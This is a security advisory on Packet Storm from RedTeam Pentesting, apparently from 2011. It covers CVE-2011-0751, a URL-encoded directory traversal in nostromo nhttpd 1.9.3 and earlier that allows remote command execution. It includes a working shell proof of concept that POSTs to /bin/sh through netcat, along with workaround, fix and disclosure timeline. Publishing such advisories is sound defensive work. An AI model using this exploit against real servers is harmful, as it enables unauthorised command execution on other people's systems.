what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nostromo 1.9.3 Directory Traversal

Nostromo 1.9.3 Directory Traversal
Posted Mar 16, 2011
Site redteam-pentesting.de

Nostromo (nhttpd) versions 1.9.3 and below suffer from a directory traversal vulnerability.

tags | exploit
advisories | CVE-2011-0751
SHA-256 | 21642ad06a6be195db94145ad06272a939d44c4341d01becfc5db1a0b9bb3907

Nostromo 1.9.3 Directory Traversal

Change Mirror Download
Advisory: nostromo nhttpd directory traversal leading to arbitrary
command execution

During a penetration test, RedTeam Pentesting discovered a directory
traversal vulnerability leading to arbitrary command execution in the
nostromo HTTP server.


Details
=======

Product: nostromo (nhttpd)
Affected Versions: <= 1.9.3
Fixed Versions: CVS 2011-03-03, 1.9.4
Vulnerability Type: directory traversal
Security Risk: high
Vendor URL: http://www.nazgul.ch/dev_nostromo.html
Vendor Status: patch available
Advisory URL: http://www.redteam-pentesting.de/advisories/rt-sa-2011-001
Advisory Status: published
CVE: CVE-2011-0751
CVE URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-0751


Introduction
============

nhttpd is a simple, fast and secure HTTP server. It runs as a single
process, handling connections with select(2). For CGIs and directory
listing it does fork(2). nhttpd has the minimum of HTTP/1.1 and CGI/1.1
implemented.

(from the vendor's homepage)


More Details
============

When parsing HTTP requests, nostromo first checks for directory
traversal attempts by searching for /../ in the request URI. However
this check is performed before decoding escaped characters in the URI.
Thus, directory traversal is possible by e.g. escaping the slashes in
../ as %2f.

Unless the chroot feature of nostromo is used, any file in the system
that is readable with the runtime permissions of nostromo can be
accessed.

A peculiarity of nostromo is the handling of CGI scripts. Citing the
manual page, "CGIs are recognized by the file world executable flag".
Therefore, any program or script, that is executable by the system user
nostromo runs as, will be executed when one tries to access it through
directory traversal. Any data received in the body of a HTTP POST
request will be sent to standard input of executed CGI scripts.

By using directory traversal to send a HTTP POST request to /bin/sh, and
providing shell commands in the request body, arbitrary command
execution is possible. Similarly, interpreters of programming languages
that execute program code they receive via standard input, such as perl
or python, can be used to execute arbitrary program code in those
languages.


Proof of Concept
================

The access log of nostromo can be accessed using an URL like this:
http://www.example.org/..%2flogs/access_log

The following simple shell script implements the arbitrary command
execution described above using /bin/sh:

------------------------------------------------------------------------
#!/bin/sh
######################################
# #
# RedTeam Pentesting GmbH #
# kontakt@redteam-pentesting.de #
# http://www.redteam-pentesting.de #
# #
######################################

if [ $# -lt 3 ]; then
echo "Usage: $(basename $0) HOST PORT COMMAND..."
exit 2
fi


HOST="$1"
PORT="$2"
shift 2

( \
echo -n -e 'POST /..%2f..%2f..%2fbin/sh HTTP/1.0\r\n'; \
echo -n -e 'Content-Length: 1\r\n\r\necho\necho\n'; \
echo "$@ 2>&1" \
) | nc "$HOST" "$PORT" \
| sed --quiet --expression ':S;/^\r$/{n;bP};n;bS;:P;n;p;bP'
------------------------------------------------------------------------


Workaround
==========

When serving static files, the impact of this vulnerability can be
reduced by using the chroot feature of nostromo. If CGI scripts are
used, any interpreter required for these scripts might allow being
abused as shown above.
The nostromo configuration and log files remain accessible even when
using the chroot feature.


Fix
===

Upgrade to development version from CVS as of 2011-03-03 or version
1.9.4, once released.


Security Risk
=============

As an attacker is potentially able to execute arbitrary commands
remotely, the risk is estimated as high.


History
=======

2011-01-12 Problem identified during a penetration test
2011-01-20 Customer approves contacting vendor
2011-01-26 CVE number requested
2011-01-31 Vendor notified
2011-02-02 CVE number assigned
2011-02-05 Vendor confirmed the vulnerability and sent first patch for
review
2011-02-10 Vendor sent final patch for review
2011-03-03 Vendor releases fix
2011-03-15 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting offers individual penetration tests, short pentests,
performed by a team of specialised IT-security experts. Hereby, security
weaknesses in company networks or products are uncovered and can be
fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.

--
RedTeam Pentesting GmbH Tel.: +49 241 963-1300
Dennewartstr. 25-27 Fax : +49 241 963-1304
52068 Aachen http://www.redteam-pentesting.de/
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen, Claus R. F. Overbeck
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    0 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close